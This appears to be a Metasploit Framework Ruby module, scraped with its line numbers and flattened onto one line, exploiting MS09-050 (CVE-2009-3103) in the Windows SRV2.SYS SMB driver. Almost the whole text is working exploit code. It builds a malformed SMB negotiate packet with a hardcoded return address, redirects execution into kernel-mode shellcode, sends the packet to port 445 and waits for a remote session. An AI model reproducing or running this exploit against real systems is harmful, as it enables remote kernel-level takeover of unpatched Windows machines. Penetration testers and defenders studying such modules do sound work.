1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 |
## # $Id: ms09_050_smb2_negotiate_func_index.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::SMB include Msf::Exploit::KernelMode def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference', 'Description'=> %q{ This module exploits an out of bounds function table dereference in the SMB request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7 release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista without SP1 does not seem affected by this flaw. }, 'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9669 $', 'References' => [ [ 'MSB', 'MS09-050' ], [ 'CVE', '2009-3103' ], [ 'BID', '36299' ], [ 'OSVDB', '57799' ], [ 'URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html' ], [ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload'=> { 'Space' => 1024, 'StackAdjustment' => -3500, 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::Raw, 'ExtendedOptions' => { 'Stager'=> 'stager_sysenter_hook', } }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows Vista SP1/SP2 and Server 2008 (x86)', { 'Platform' => 'win', 'Arch' => [ ARCH_X86 ], 'Ret'=> 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :) 'ReadAddress'=> 0xFFDF0D04, # A readable address from kernel space (no nulls in address). 'ProcessIDHigh'=> 0x0217, # srv2!SrvSnapShotScavengerTimer 'MagicIndex' => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0 } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Sep 07 2009' )) register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true,"The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class) end # Not reliable enough for automation yet def autofilter false end def exploit print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." ) connect # we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest # and srv2!SrvProcPartialCompleteCompoundedRequest dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ] data= dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's data += [ 0xFFFFFFFF ].pack("V")# Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b) data += [ 0xFFFFFFFF ].pack("V")# Used in srv2!SrvConsumeDataAndComplete2+0x34 data += [ 0x42424242 ].pack("V") * 7# Unused data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E) data += [ 0x41414141 ].pack("V") * 6# Unused data += [ target.ret ].pack("V")# EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2 data += payload.encoded # Our ring0 -> ring3 shellcode # We gain code execution by returning into the SMB packet, begining with its header. # The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX" # This will cause an access violation if executed as we can never set EBX to a valid pointer. # To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42. # This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer. # We patch the Signature1 value to be a jump forward into our shellcode. packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE packet['Payload']['SMB'].v['Flags1']= 0x18 packet['Payload']['SMB'].v['Flags2']= 0xC853 packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh'] packet['Payload']['SMB'].v['Signature1']= 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload. packet['Payload']['SMB'].v['Signature2']= 0x00000000 # ... packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 ) packet['Payload'].v['Payload']= data packet = packet.to_s print_status( "Sending the exploit packet (#{packet.length} bytes)..." ) sock.put( packet ) wtime = datastore['WAIT'].to_i print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." ) stime = Time.now.to_i poke_logins = %W{Guest Administrator} poke_logins.each do |login| begin sec = connect(false) sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1)) rescue ::Exception => e sec.socket.close end end while( stime + wtime > Time.now.to_i ) select(nil, nil, nil, 0.25) break if session_created? end handler disconnect end end |